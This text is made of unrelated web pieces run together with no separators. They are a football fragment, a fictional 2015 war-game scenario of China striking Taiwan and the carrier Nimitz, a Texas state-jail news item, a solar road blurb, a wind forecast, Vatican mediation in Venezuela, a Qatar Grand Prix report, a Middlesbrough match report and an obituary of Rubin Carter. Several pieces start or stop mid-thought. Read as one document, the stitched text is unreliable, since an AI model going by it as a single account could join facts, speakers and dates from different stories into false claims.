While there would be an element of risk of investing such a sum in a player very much in the twilight of his career, FFA officials and club owners are certain to weigh that against the challenge of rejuvenating the A-League after a season of dwindling coverage.
The war for Taiwan starts in the early morning. There are no naval bombardments or waves of bombers: That's how wars in the Pacific were fought 70 years ago. Instead, 1200 cruise and ballistic missiles rise from heavy vehicles on the Chinese mainland.
Taiwan's modest missile defense network—a scattered deployment of I-Hawk and Patriot interceptors—slams into dozens of incoming warheads. It's a futile gesture. The mass raid overwhelms the defenses as hundreds of Chinese warheads blast the island's military bases and airports. Taiwan's air force is grounded, and if China maintains air superiority over the Taiwan Strait, it can launch an invasion. Taiwanese troops mobilize in downtown Taipei and take up positions on the beaches facing China, just 100 miles to the west. But they know what the world knows: This is no longer Taiwan's fight. This is a battle between an old superpower and a new one. Ever since 1949, when Nationalist forces retreated to Taiwan following the Communist victory in the Chinese Civil War, Beijing has regarded the island as a renegade province of the People's Republic. Now, in 2015, only the United States can offer Taiwan protection from China's warplanes and invasion fleet.
The nearest aircraft carrier is the USS Nimitz, which had just left the Japanese port of Yokosuka on Tokyo Bay when the missiles landed on Taiwan. Although Beijing has promised to attack anyone who interferes with this "internal security operation," the U.S. president orders the Nimitz and its escorts to the Taiwan Strait. The Nimitz battle group needs at least two days for the carrier to reach the strait, more than 1300 miles southwest. The closest other carrier group, near Pearl Harbor, is six days out.
Until the Nimitz arrives, it's up to Kadena Air Base in Okinawa, 400 miles northeast of Taiwan, to defend the island. By 0515 hours, Air Force pilots are taking off in 40 F-15E fighters to conduct combat air patrols over the island. Half of them are airborne when Kadena comes under attack. First, error messages begin popping up on computer screens. Modern air defense systems share sensor information and targeting data to better coordinate their actions, but this connection is going to become a liability. An army of hackers operating throughout China swarms the base's networks, tying up communications with gibberish and cluttering the digital screens of radar operators with phony and conflicting data.
Next, early-warning satellites detect the infrared bloom of 25 ballistic missiles launched from the Chinese mainland. Five detonate in orbit, shredding American communication and imaging satellites. While not a technical first—both the U.S. and China have knocked down satellites—it's the first outbreak of a hot war in space, and it partially blinds U.S. forces.
The 20 remaining missiles re-enter the atmosphere over Okinawa. Kadena's Patriot batteries fire missiles in response, but they are off-network and in disarray—10 missiles are struck by multiple interceptors, but an equal number slip through the defensive screen and hit ­Kadena. Some of the GPS-guided warheads contain bomb­lets that crater the base's two runways. Others air-burst over the base, devastating barracks, radar arrays and hangars. Kadena is far from destroyed, but until its runways can be repaired, it is out of the fight. The F-15s on the way to Taiwan must bank for Guam, 1300 miles southeast—they have the range to reach the base there, but only Kadena is close enough to stage efficient combat patrols. Also, F-22 stealth fighters based at Hickam Air Force Base, Hawaii, now cannot land on the base's shattered runways and reinforce the F-15s. With Kadena's satellites gone, the Nimitz and its flotilla of eight escorts, including Aegis-guided missile destroyers and a pair of submarines, are steaming toward an enemy possessing one of the world's largest submarine fleets and an arsenal of land-, air- and sea-launched antiship missiles.
About 8 hours after the mass raid on Taiwan, klaxons start blaring aboard the Nimitz and her escorts. There are more missiles in the air, this time headed straight for the carrier group. The Taiwan Strait is still more than 1000 miles away, but the war has come to the Nimitz. Skimming the surface of the Pacific are four supersonic missiles flying faster than their own roar.
Chances are that a war between China and the United States will not happen in 2015, or at any other time. Under normal circumstances, a war for Taiwan would simply be too costly for either side to wage, especially given the chance of nuclear escalation. But circumstances are not always normal.
"I get criticized often for saying this, but I think Beijing is capable of acting irrationally when it comes to Taiwan," says retired Rear Adm. Eric McVadon, who served as a naval attaché in Beijing and is currently senior adviser of Asia-Pacific studies at the Institute for Foreign Policy Analysis in Cambridge, Mass. "They are obsessed with Taiwan. On some given day, it's entirely possible for people to be standing around a table in the Politburo in Beijing, and someone gets the ball rolling. And when it stops, we're at war."
The deciding factor could be anything from domestic unrest in China's increasingly rebellious rural provinces to a spike in aggressive, vocal Taiwanese nationalism. However, like many Pentagon war games, this notional conflict is not concerned with potential political triggers, but instead with evaluating China's raw military capabilities. The scenario is based on analyses by civilian think tanks including RAND Corp., Chinese defense papers and interviews with senior Pentagon officials.
The chance of war may be remote, but the Chinese strategy to deny American access to battlegrounds near China's coasts—and the hardware to pull it off—certainly exists. Since the Gulf War, the Chinese military has shifted from academic analysis of how to defeat U.S. aircraft carriers in the East China and South China seas to buying and building the weapons to make the plan a strategic reality. This is not a Cold War–era buildup, aimed at waging or deterring an apocalyptic last stand. This is a force engineered to win a limited local war—for example, keeping the United States away long enough to win Taiwan.
China's economic boom has allowed its military to rapidly expand its inventory of cruise missiles, aimed at Taiwan, and multistage ballistic missiles with enough range to hit much of Asia. The People's Liberation Army has also bought submarines­—including at least 12 whisper-­quiet diesel–electric models from Russia—and is developing a large fleet of warplanes.
But China's most dangerous new weapon could be an antiship ballistic missile (ASBM), specifically designed to target a moving aircraft carrier. The United States has 11 carriers. To win a future conflict, China would not have to destroy every one of them, just the pair that would be available to respond to a fight off China's coast.
Senior Pentagon leaders are becoming increasingly concerned about the Chinese arsenal. Adm. Robert ­Willard, head of the Navy's Pacific Command, told Congress in March that "the PLA's continued military advancements sustain a trend of shifting the cross-strait military balance in Beijing's favor." In June, in a speech at the Asia Society in Washington, D.C., Adm. Mike Mullen, chairman of the Joint Chiefs of Staff, added that he has "moved from being curious to being genuinely concerned" about the buildup.
The man who would face the Chinese in battle, Adm. Patrick Walsh, the current commander of the U.S. Navy's Pacific Fleet, sees preparation as a way to avoid a future fight. "When we look at these sorts of developments, such as the ASBM, they are technological developments that we respect, but do not necessarily fear," Walsh says. "The key element in any sort of deterrent strategy is to make it clear to those who would use a given piece of technology that we have the means to counter it, and to maintain a technological edge."
Right now the Chinese seem to have taken the lead in this new arms race. When RAND released a report in 2000 describing the potential outcome of a Sino-­American conflict over Taiwan, the United States won the war handily. Nine years later, the nonpartisan think tank revised its analysis, accounting for Beijing's updated air force, its focus on cyber warfare and its ability to use ballistic missiles to take out American satellites. RAND's new conclusion: The United States would ultimately lose an air war, and an overall conflict would be more difficult and costly than many had imagined.
August 9, 2015 - 1230 Hours
The Kilo-class submarines are waiting. Like any patient hunter, that's what they do best. Smaller and slower than their nuclear-powered counterparts, the 230-foot boats are fitted with diesel–electric engines and sound-absorbing tiles that make them virtually invisible to active and passive sonar. They have chosen the spot for an ambush wisely, lurking near rises in the seafloor that clutter sonar returns, and the Nimitz's escorts don't detect the Kilos.
The Chinese subs rise to launch depth and fire two missiles each from their torpedo tubes. The Russian-made weapons burst out of the water and tear directly at the carrier group.
Alarms are wailing on every ship as sailors dash to battle stations, but the Nimitz is the sole target of these Russian-built antiship cruise missiles. They are called SS-N-27B Sizzlers. When the missiles come within 10 nautical miles of the carrier, a rocket-propelled warhead separates from each and boosts into a darting, Mach 3 sprint, skimming along just 30 feet above the surface of the waves.
In the final moments, chaff launchers on the Nimitz release a volley of decoys, while a trio of robotic chain guns aboard the Nimitz—the last line of missile defense—automatically pivot toward the warheads and fire hundreds of 20-mm rounds per second. One Sizzler misses. Two more break apart under fire. The fourth detonates against the Nimitz, tearing a hole in its port side. More missiles arc across the sky as Aegis cruisers shoot antisub munitions into the ocean, tearing apart one Kilo. The other sub eventually will be hunted down by aircraft carrying sonar and torpedoes, but the damage is done.
On the Nimitz, there's no time to mourn the dead. The next attack will come soon. The crew assess the battle damage and begin repairs while the carrier presses on.
August 9, 2015 - 1921 Hours
On the southeast coast of China, more than 500 miles west of the Nimitz, an over-the-horizon radar array has picked up the carrier's position. Based on coordinates supplied by the now-sunk Kilos, the array seeks the carrier by banking radio waves off the atmosphere to peer beyond the earth's curvature. After the signals indicate the flotilla's rough location, the Chinese deploy a drone to confirm the radar fix. This 12-foot-long unmanned aerial vehicle (UAV) does its job before being blown apart by an antiair missile fired by a destroyer. The Nimitz is swarmed within the hour.
A formation of fighters appears on the carrier's radar screens. Defensive missiles lift off from a picket line of escort vessels, and the Nimitz begins launching its own F/A-18s to meet the incoming aircraft, which appear to be more than a dozen outdated Jian-7s. With no satellite coverage, thanks to the antisat attack, the surprised escorts can only form a defensive ring around the carrier as the J-7s unleash a volley of antiship cruise missiles.
The U.S. escorts fire at all inbound airplanes, not knowing that the Chinese have retrofitted these older warplanes to serve as unmanned decoys. The battle group cannot trust its computer networks, given the hacking attacks on Kadena, so they must pick targets independently. The defense crews double up on some incoming fighters, wasting their defensive missiles. Radar contacts are vanishing as airplanes and incoming air-launched cruise missiles are destroyed, but one missile gets through, ripping another fiery hole in the Nimitz.
By the time F/A-18 pilots radio that no one is parachuting from the downed J-7s, the main Chinese attack force of high-performance, manned J-10 and J-11 warplanes arrives from the east. The carrier group's F/A-18s move to intercept them. But the Chinese fighters aren't here to dogfight—they launch antiship cruise missiles at the carrier and disengage.
The Aegis cruisers fire a slew of defensive missiles; F/A-18s fire antiair missiles. The sky over the Pacific is a lattice of smoke trails, and through the call and response of sonic booms there is another explosion as the Nimitz takes its third cruise missile hit of the day.
There is no lull, no time to regroup—unharmed Missile Defense Agency satellites have detected another volley of ballistic missiles fired from China. These aren't projected to hit Taiwan, Okinawa, or any other land-based target. They are tracking toward the carrier group. These are ASBMs.
The Aegis cruisers respond, launching multistage SM-3 interceptors that rise like a cluster of suns. Once in space, they deploy kill vehicles, self-guided craft designed to ram ballistic missiles. Only one connects. Four ASBMs re-enter the atmosphere and perform a swooping, high-g maneuver that allows them to scan the ocean's surface for their moving target.
So the battle for the Nimitz, and for Taiwan, ends as it began, with missiles. At 2015 hours, two ASBMs dump harmlessly into the sea, victims of technical glitches. The other two dive into the carrier, shattering the superstructure and killing hundreds. The damage doesn't reach the two nuclear reactors, but two gaping holes in the flight deck, and the carnage in the hangars below, render the ship useless. The Nimitz must retreat. If this were an all-out war, the PLA would push one last time to sink the carrier. But China's goal was never to trigger an extended, costly, bloody contest of superpowers. The goal was to deny American access to Taiwan prior to an invasion.
The following morning, Chinese troop transports cross the strait and secure the island without firing a shot. A brutal ground war was never part of the plan. Beijing calculated that without American assistance, Taipei would surrender. It also predicted an endless loop of video footage of the crippled Nimitz returning to port. There is more than one way to win a war.
The U.S. Military shocked the world when it unveiled the sophisticated weaponry used to defeat Iraq's military in 1991. Now potential adversaries have invested in tools similar to those that made the United States military so dominant during the Gulf War. "Since the end of the Cold War, we've been in the position to unleash substantial quantities of precision firepower on our adversaries, while suffering none of that type of attack," says RAND's David Shlapak, one of the authors of the think tank's original 2000 report on a war over Taiwan as well as the followup 2009 report. "That led us to a certain style of warfare—bases that are sanctuaries, lines of communication that are indestructible."
That technological edge led to overconfidence, and Cold War skill sets, such as submarine hunting, atrophied. At the same time, the Russians sold quiet diesel–electric Kilo submarines to countries like Iran and China. When the Navy placed Rear Adm. J.J. Waickwicz in charge of the Fleet Anti-Submarine Warfare Command in 2004, he determined it would take years to re-establish sub-hunting expertise. "There was a lack of training and really good equipment to manage the problem," says Waickwicz, now retired. "We have to be willing to put the funding into synthetic and simulation training."
When it comes to missiles, China may be surpassing the United States. Earlier this year, the Pentagon said China has "the most active land-based ballistic and cruise missile program in the world." And no one else has developed an ASBM. Despite billions of dollars in research and controlled tests, the results of a clash between sophisticated missiles and modern defense interceptors are unknown. If missile defense tools do not perform as advertised, carriers could be pushed so far from a fight that they'd become irrelevant, nullifying America's principal tool of power projection.
What can be done? Most war games end with a "hot wash," a kind of debriefing, where participants discuss what went right and what went completely wrong. They discuss what they would do differently if they could roll back the clock. And sometimes, they do just that—rewind and run through the fight all over again.
August 9, 2015 - 1215 Hours
The battle to defend the Nimitz no longer begins with missiles, but with robots. Hours before the carrier group reaches those lurking diesel–electric Kilos, the carrier's escort ships deploy a handful of unmanned underwater vehicles (UUVs) to patrol between Taiwan and Okinawa.
These torpedo-size drones use continuous active sonar (CAS) arrays, which release a steady stream of ­energy, the sonar equivalent of a spotlight. "CAS will change the calculus from the sub being the hunter, to being the hunted," says Waickwicz, who now works for Virginia-based Alion Science and Technology, which is testing its CAS technology on a surface vessel and next year plans to begin testing the sonar on UUVs.
The robots protecting the carrier group aren't armed, but the nuclear-powered Virginia-class sub monitoring their progress certainly is. The Chinese subs lying in ambush must scatter before firing or be sunk.
There are ways to make air ­defenses more resilient as well. This time ­Kadena is better prepared for hacker attacks, thanks to sophisticated missile defense batteries like the Medium Extended Air Defense System. Instead of relying on a single computer network to coordinate antiair launches, each MEADS can operate autonomously and cover 360 degrees of sky.
With the Air Force base functional, F-15s (and, later, F-22s flying in from Hawaii) can guard the Nimitz, engage the incoming decoys and preserve the group's supply of antiair missiles.
The Chinese fighters launch their missiles, but only two reach the ­Nimitz. Pilots and sailors are killed and wounded, but the flight deck is intact, and the carrier's mission to protect Taiwan can continue.
There's one more threat to counter, though. The ASBMs take off from five different locations in southeastern China. One of them is spotted by an American stealth UAV, one of a handful operating high-endurance missions out of Kadena. In 2009 the U.S. Air Force confirmed the use of the first radar-deflecting drone—the RQ-170 Sentinel—on surveillance missions over Afghanistan.
By 2015 the Air Force is flying heirs to the Sentinel that are armed with experimental Network-Centric Airborne Defense Element missile interceptors. Fired from standard air-to-air launchers, these missiles can strike ballistic missiles before they leave the atmosphere. When tensions between China and Taiwan began to rise, the Air Force quietly rushed the experimental weapons from the Nevada Test and Training Range to Kadena.
The high-endurance UAVs can loiter, unseen, waiting for a ballistic missile launch. When their sensors detect the rocket's plume, two of the UAVs fire at the rising missiles, and one scores a hit; the missile disintegrates into a ball of burning fuel and debris. That's one fewer carrier-­hunting missile streaking at the Nimitz.
Another is knocked out in space by SM-3 interceptors. Now three are entering the ASBM's signature death dive. The Aegis ships shoot again, but during this replay they are using a new model, the SM-2 Block IV. Like most terminal-phase systems, it is a defensive Hail Mary. Two ASBMs miss, but a third is clipped by an SM-2 and dumps into the sea.
"Recent media accounts of inadequate medical care and a rash of preventable deaths at the Dawson State Jail illustrate problems at this facility," the letter states.
The Corrections Corporation of America runs the Dawson State Jail under a contract with the state. In an emailed statement, the company said that the University of Texas Medical Branch provides health care at the facility and that the company takes seriously its responsibility to oversee that care.
"It’s unfortunate that these organizations are so closed-minded when it comes to facts and perspectives that might challenge their political agendas," said Steven Owen, CCA spokesman."CCA simply provides safe inmate housing and quality rehabilitation programming at a cost savings to Texas taxpayers."
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With its position on prime Dallas real estate and the falling number of prisoners in Texas, the groups' letter is not the first suggestion of shuttering the facility. The state jail population has fallen from more than 14,000 in 2006 to just less than 12,000 in 2011, and statewide there are some 10,000 vacant prison beds. State Sen. John Whitmire, D-Houston, has called for the closure of two prison units, including Dawson. With that many empty beds, he said, it makes sense to consider shutting down unnecessary facilities that are high-security risks. Dawson has faced criticism recently over allegations that health care there is inadequate. The company has denied any wrongdoing and said it works with the state to provide inmates access to health care.
In response to the letter, Texas Department of Criminal Justice spokesman John Hurt said the agency would work closely with state lawmakers on decisions regarding the closure of facilities.
The state's contract with CCA for the Dawson facility operations expires Aug. 31, and the groups said in the letter that lawmakers should heed reports of poor conditions and take note of a 2012 health services audit that found conditions at the facility were not compliant with contract.
"Closing a facility like Dawson State Jail would save taxpayer dollars that can be better spent on programs that work," Ana Yáñez Correa, director of the Texas Criminal Justice Coalition, said in a prepared statement.
Founded by Scott and Julie Brusaw, Solar Roadways creates solar panels that can withstand vehicular traffic and the company has just built a prototype parking lot made out of the hexagonal solar panels. The hexagonal solar panels not only harness solar energy, but are also fitted with circuits, LEDs, and a heating system to melt ice and snow — creating an intelligent system aimed to modernize the current infrastructure.
By By AccuWeather.com Meteorologist Jordan Root November 02, 2013, 2:56:10 AM EDT
As a potent disturbance begins to exit the Great Lakes Friday, gusty winds will continue to reach eastward to the upper part of the Atlantic Coast.
These strong winds will have the ability to down tree limbs and power lines. Folks could experience sporadic power outages throughout the day.
Minor structural damage is also possible and loose objects, such as trash cans and deck furniture, could easily be tossed around.
CBS News in New York is reporting that high winds may have contributed to a construction shed collapse in Midtown Friday midday. Gusts from the west of 40 to 50 mph occurred at New York Central Park between 10 and 11 a.m. Gusts may have been higher well above ground level and were likely channeled in between the many buildings at the time.
The alert for high winds was sounded on Tuesday, Oct. 29.
Some of the major cities that are at risk include Buffalo, N.Y.; New York City; Philadelphia; Boston; Burlington, Vt.; Portland, Maine; Toronto and Montreal.
This disturbance created gusty winds Thursday and Thursday night across the Ohio and Tennessee valleys.
Non-thunderstorm wind gusts generally ranged between 50 and 60 mph with a few outliers exceeding 60 mph. There were also reports of strong wind gusts in thunderstorms. However, thunderstorms are not expected in the Northeast Friday.
For those planning on catching a flight, strong winds could lead to delays. Flight restrictions at the major airports in New York City, Boston and Philadelphia are possible Friday and could create a major headache for travelers.
As of Friday morning, winds were causing flight delays of up to 3 hours at La Guardia Airport and up to 2 hours at Philadelphia International Airport.
As of Friday afternoon, winds delayed departing flights from Philadelphia International Airport, Newark International Airport, John F. Kennedy International and La Guardia Airport.
Road travel will be hazardous as well. Large highways, such as I-80, I-90 and I-95, will be at a high risk for gusty winds.
These winds will threaten high-profile vehicles like tractor trailers and utility vans as they travel down the open highway.
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Other motorists should use caution when driving as well. Wind gusts, especially on open highways, can cause sudden jerks in steering. Drivers should also be alert for wind-tossed objects and falling tree limbs.
Gusts will generally range between 40 to 50 mph. Higher gusts are possible across the open waters of the eastern Great Lakes and along the East Coast from Long Island to Newfoundland.
Flooding near some shorelines is possible, especially near the northern and eastern ends of Lake Erie and Ontario.
Stronger wind gusts will also threaten the higher elevations across the Appalachians and Adirondacks as well gaps between the mountains, open areas and between buildings.
The strongest winds will peak during the afternoon and will gradually lessen through the evening and into the night. By AccuWeather.com Meteorologist Jordan Root
Newly elected cardinal and Vatican State Secretary Pietro Parolin of Italy arrives to receive guests in the Apostolic palace at the Vatican February 22, 2014. REUTERS/Max Rossi
In a letter, President Nicolas Maduro’s government asked that Parolin, a former envoy to Venezuela who is now the Vatican’s secretary of state, be named a “good faith witness” to a dialogue agreed after two months of protests.
A Vatican spokesman confirmed the Roman Catholic Church’s willingness to mediate, but gave no details.
Venezuela’s opposition coalition had indicated that current Vatican envoy, Aldo Giordano, would be attending the first formal talks, which are to start on Thursday in Caracas.
Both Vatican officials are Italian.
Parolin, who represented the Vatican in Venezuela from 2009 to 2013, is a frugal, publicity-shy career diplomat.
The Vatican has helped mediate before in Latin America, including in a territorial dispute between Argentina and Chile in 1978 and a hostage standoff in Peru in 1996-1997.
Venezuela’s government and the Democratic Unity opposition coalition held a first preliminary meeting on Tuesday, agreeing to start a formal dialogue over issues ranging from crime and economic problems to the detention of dozens of protesters.
CAPRILES TO ATTEND
Henrique Capriles, the opposition’s two-time presidential candidate who narrowly lost to Maduro in a vote last year, confirmed he would take part in the discussions.
“I will go to defend the truth,” he told reporters. “Debate doesn’t mean our people stop protesting. Quite the opposite. Peaceful protest must continue because the problems continue.”
Hardline demonstrators, however, are not happy about the talks and say there should be no negotiations while another opposition leader, Leopoldo Lopez, and others remain in prison.
Protesters took to the streets in early February, with some openly seeking to provoke a “Venezuelan Spring” that would force Maduro out of power. There have been daily clashes since then as security forces and pro-government militants have faced off with hooded opposition demonstrators blocking streets.
With the armed forces apparently still behind him, and the opposition failing to bring out the millions they had hoped for, Maduro’s position does not appear to be under threat.
He does, however, face a big challenge to remedy the roots of the crisis, including the highest inflation in the Americas, shortages of basic goods, a beleaguered private sector, and a violent crime rate that is among the world’s worst.
Hundreds of people have been injured and arrested since the protests started. The dead, who number 39 according to the government, include Maduro supporters, opponents, and members of the security force.
Nasser bin Khalifa Al Attiyah, who also serves as an FIA vice president, said this weekend that the race would be held in 2016 or 2017. The country is set to host the FIFA World Cup in 2022 and is becoming a bigger player in world sport via ownership of teams like Paris Saint Germain, and TV sports rights acquisitions via its BeinSport network.
“We are about to sign contracts to organise a Formula One race,” Al Attitya said. “We have completed all the steps and there are only a few details before the official signature.”
Qatar can either host the race at Losail, which has floodlights in place for night racing, from its Moto GP installation, or it can construct a street circuit in Doha.
Ecclestone was set to announce a Qatar GP just before Christmas, around the time when the FIA hosted its World Championship prize giving ceremony there. But then it emerged that the Bahrainis, who hosted the first Middle Eastern GP, had agreed with Ecclestone some say over whether another race in the region could take place.
Al Attiyah said he saw the idea of three Middle Eastern races as a "competition" between states, whereas Bahrain's Shaikh Salman said in January that the region was "not ready" for a third race, despite welcoming growing interest in motorsport in the Middle East.
Ecclestone's tactic then was to leave it to the Bahrainis and the Qataris to sort the matter out among themselves and a deal has apparently been struck. It will become clear in time what that deal consists of, but one suggestion is that the deal may well consist of the Qataris paying some or all of Bahrain's hosting fee for the race.
There is, of course, a deeply engrained competition between countries within the Gulf Region. Bahrain is a relative minnow compared with the gigantic wealth of Abu Dhabi and Qatar. Bahrain’s annual GDP is $32 billion, compared to Qatar’s $202 billion.
This year's calendar features 20 Grands Prix, with the Mexican GP joining the calendar, while Azerbaijan is due to join the calendar in the next couple of years, there is also a push for a second race in the USA. A Qatar GP will add another large sanctioning fee to the commercial revenues post, of which over 60% goes to the teams, but it will also continue to exert pressure on events like the German GP, which is struggling for attendance and funding.
Despite the push into new markets, F1's largest TV audience by far is still in Europe, where over 60% of the global viewership resides.
Critics will say that the push into new markets is taking the sport into the arms of some questionable regimes, while Ecclestone and the FIA will argue that they have to find fresh revenues from new regions to grow the sport.
Middlesbrough FC moved to within four matches of the Premier League after Jordan Rhodes scored a late winner to sink Bolton at the Macron Stadium.
Aitor Karanka's side dug deep to clinch a vital 2-1 victory at relegated Bolton , making it six straight league wins in the league and equalling a 25-year club record.
Despite their league fate already being decided, Bolton put in a resilient display and took the lead on the hour mark when Josh Vela hammered home.
That goal stunned the travelling 4,000 Boro fans, but Karanka's side moved up a gear and equalised on 73 minutes when Rhodes stroked the ball home, after his initial effort was blocked by David Wheater.
Rhodes almost made it 2-1 in the 90th minute as he saw an audacious overhead kick come back off the foot of the post, but a couple of minutes later, Boro's £9m January signing did have the ball in the net - heading home David Nugent's cross.
Read more Rhodes hails Boro's victory over Bolton
A memorable victory - but who was Boro's Man of the Match, sponsored by Active Middlesbrough?
Three stars - Jordan Rhodes
All he does is score goals is an accusation frequently directed at Rhodes. Frankly, who cares if he scores twice to earn his team three vital points?
He could have scored four against Bolton but a first half header was too close to the keeper and an overhead kick after the break hit the woodwork.
However, he showed how dangerous he can be be by firing in the equaliser following an Adam Forshaw ball into he box and, in stoppage time, headed in David Nugent's cross from close range. He was Boro's Johnny – or should that be Jordan - On The Spot!
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Two stars - Adam Forshaw
A performance full of energy and enterprise. Let's be honest, Boro were nowhere near their best on the day, with most of their key men struggling to make an impact.
Forshaw at least tried to make things happen, always looking to make a positive contribution by taking the ball forward at every opportunity and got his reward by helping create Jordan Rhodes' equaliser. Adam Clayton also put in a decent shift alongside Forshaw.
Read more Watch Boro fans celebrate in away end after Bolton win
One star - David Nugent
Mr. Carter, a cause célèbre in the 1970s whose plight was dramatized in an eight-and-a-half-minute song by Bob Dylan and later in a 1999 movie starring Denzel Washington, died on Sunday in Toronto after a battle with prostate cancer. He was 76.
His long-time friend John Artis, who was also wrongly convicted with Mr. Carter for the same crime in 1966, confirmed the death in an e-mail to The Globe. Mr. Artis had been caring for Mr. Carter over the past three years as his condition worsened.
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While seen by many as an inspiring figure after his 1985 release, the Hurricane cultivated a much more menacing persona when he took up pro-boxing as a middleweight in 1961, with his fighting style of quick punches earning him his nickname.
His background matched the image. He had served more than four years in prison for assaults and robberies. At age 12, after assaulting a man he claimed was a pedophile, he was sent to a reformatory, from which he would escape. He had also spent two years in the army, serving in West Germany, where he got into boxing.
Born on May 6, 1937, in Clifton, N.J., Mr. Carter says he was bullied about his stammer, forcing him early on to learn to respond with his fists.
The story of the Hurricane later put into song and film begins on June 17, 1966. In the early morning hours, two black men shot and killed the bartender and two white patrons, one man and one woman, of the Lafayette Bar and Grill in Paterson, N.J.
Riding in his car nearby, after a night spent at local nightclubs, was Mr. Carter, then 29. Actually at the wheel that night, because Mr. Carter had been drinking, was Mr. Artis, a 19-year-old acquaintance who had hitched a ride from a bar. Another man was also with them in the car.
Looking for the suspects, police pulled them over, but let them go, since they were looking for two black men, not three. They were stopped again about 10 minutes later after the other man had been dropped off.
Police took them to the scene of the crime, and then to the hospital where a survivor of the attack who had been shot in the head was asked if they were the killers, and did not identify them. The initial descriptions given by witnesses did not match Mr. Carter and Mr. Artis. They were interrogated, given lie detector tests and released. A grand jury would later fail to indict them.
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But in October, police arrested both men and charged them with the murders. At their 1967 trial, an all-white jury would convict them based largely on the testimony of two local petty criminals, Alfred Bello and Arthur Dexter Bradley.
Mr. Bello, who robbed the register at the Lafayette Bar and Grill after the shooting, was standing lookout while Mr. Bradley was breaking into a nearby factory. While initially failing to identify Mr. Carter and Mr. Artis at the scene, both told police later that Mr. Carter was one of two black men they saw running from the bar.
While in jail, Mr. Carter published his 1974 book The Sixteenth Round, pounded out on an Underwood in his prison cell, and sent it to celebrities, including Muhammad Ali – who he knew from his boxing days and who would put up his bail before his second trial – a well as Stevie Wonder, Aretha Franklin, Harry Belafonte and Bob Dylan.
Mr. Dylan soon met with Mr. Carter -- "I recognized the fact that here was a brother," Mr. Carter would say of the Sixties icon, according to Rolling Stone – and helped organize two benefit concerts. With theatre director Jacque Levy, Mr. Dylan wrote the song Hurricane in 1975 that made Mr. Carter's story widely known.
The prosecution's two main witnesses, Mr. Bradley and Mr. Bello, would both recant their testimony, leading to a second trial in 1976.
But controversy would still dog Mr. Carter. He faced allegations that he assaulted a female supporter in a hotel room while on bail, allegations his lawyers denied. Authorities would decline to lay criminal charges in the case.
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Two witnesses that provided alibis for Mr. Carter also recanted, saying they had been encouraged to lie at the 1967 trial. Hopes for Mr. Carter and Mr. Artis soon faded. Mr. Bello recanted his recantation, reverting to his testimony from the first trial that labelled Mr. Carter as the killer.
In arguments that were not made in the 1967 trial, the prosecution also argued that the killings were a "racial revenge" plot, meant to avenge the death of a black tavern owner who was the stepfather of a friend of Mr. Carter.
A jury, this time with two black jurors, once again convicted Mr. Carter and Mr. Artis of first degree murder. Mr. Carter went back to his bare five-foot-by-seven-foot cell at Trenton State Prison, where he continued to refuse to take part in prison activities or eat prison food, saying that doing so was tantamount to admitting his guilt.
He relied instead on a supporter to bring him canned soups and vegetables that he cooked on an electric coil. According to a report in the New York Times in 1977, a year after his second conviction, none of the rock stars or celebrities drawn to his cause before the trial had come to visit him. He became estranged from his wife and two children.
In 1979, an illiterate black teenager named Lesra Martin, who had been plucked from his home in Brooklyn by a Toronto-based commune that wanted to help him learn to read and write, picked up a copy of The Sixteenth Round.
He became fascinated by Mr. Carter, and learned to read partly by going through the documents in his case. At his urging, others in the commune decided to try to help the former fighter gain his freedom, moving down to New Jersey to be close to him. They became known as "the Canadians," in the various retellings of Mr. Carter's life story.
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Mr. Martin, now a lawyer in Kamloops, B.C., said in an interview that he never doubted Mr. Carter's innocence, ever since the first time he met him in 1980, standing in the intimidating visitor room at a maximum security prison at just 16 years old.
"I am petrified as I am standing there waiting for him to come, and all of a sudden, he comes up and he realizes that I am shaking and I am scared and he begins to embrace me, and hug me, and whisper in my ear and tell me not to be afraid," Mr. Martin said. "My heart told me, unequivocally, at that point, that is not the heart of someone that could murder three people."
Mr. Carter's principal lawyers, Leon Friedman and Myron Beldock, with research assistance from the commune members, won a last-ditch hearing for their client, after all his other appeals were exhausted. They sought a writ of habeas corpus, a legal move that would have him set free for constitutional violations at his trial. (Mr. Artis had been paroled in 1981.)
On November 7, 1985, U.S. federal judge H. Lee Sarokin sided with Mr. Carter, saying the prosecution failed to disclose Mr. Bello's lie detector tests, which raised serious questions about his recanted testimony, and wrongly pursued what he declared a prejudicial "racial revenge" theory.
"The extensive record clearly clearly demonstrates that [Mr. Carter's and Mr. Artis's] convictions were predicated upon an appeal to racism rather than reason, and concealment rather than disclosure," wrote the judge, who was greeted each year afterward on the anniversary of his ruling with a phone call of thanks from Mr. Carter.
After prosecutors declined to press charges a third time, Mr. Carter was finally free and moved to Toronto to live with the commune and Mr. Martin. He married commune leader Lisa Peters, but by the early 1990s, the marriage crumbled. He then broke with the commune, bucking at its control over him after so many years in jail. Friends say he needed to stand on his own two feet. He also struggled with alcohol, a substance the commune did not allow.
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He moved in with Mr. Martin, then attending university, and the younger man was amazed at how out-of-touch nearly 20 years of incarceration had left Mr. Carter. He had never used voice mail, Mr. Martin said, or a bank machine. A passionate, preacher-like orator, Mr. Carter made money on his speaking engagements.
Before he broke with the commune for good in the early 1990s, Mr. Carter and the Canadians got involved in the beginnings of the Association in Defence of the Wrongly Convicted.
Toronto lawyer James Lockyer was fighting to free Guy Paul Morin, a Toronto-area man wrongly convicted of raping and murdering a nine-year-old girl, and Mr. Carter and the commune also got involved.
Mr. Carter would become the association's executive director. For the next 11 years, he was the front man for its efforts to free those jailed for crimes they did not commit. He and Mr. Lockyer would become close friends.
Mr. Lockyer remembers getting a call from Mr. Carter in 1999, when the ex-boxer was with Bill and Hillary Clinton in the White House for a special screening of Hurricane, the film by Canadian director Norman Jewison. Mr. Carter wanted to know if he should lobby the president to intervene in the case of a woman on death row in Vietnam that the association was trying to help.
But in 2004, Mr. Carter would resign from the association in anger, and break off all contact with Mr. Lockyer. He had demanded that the association do more to protest the appointment of the prosecutor behind Mr. Morin's conviction as a judge
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Fire would consume Mr. Carter's rented west-end house while he was on vacation that same year. He had no insurance, and was forced him to move to a basement apartment for a time.
He soon started his own small organization, Innocence International, to fight for prisoners he felt were wrongly convicted. And he wrote a 2011 memoir entitled Eye of the Hurricane: My Path from Darkness to Freedom, that featured a foreword by Nelson Mandela.
Mr. Carter was diagnosed with terminal prostate cancer in 2011. Mr. Artis, who had remained his friend ever since that night in 1966, dropped his life in Virginia to come to Toronto and care for Mr. Carter, after learning that his old friend was dying with no family at his side. He said Mr. Washington, whose portrayal of Mr. Carter was nominated for an Oscar, kept in touch, phoning Mr. Carter at Christmas time, for example.
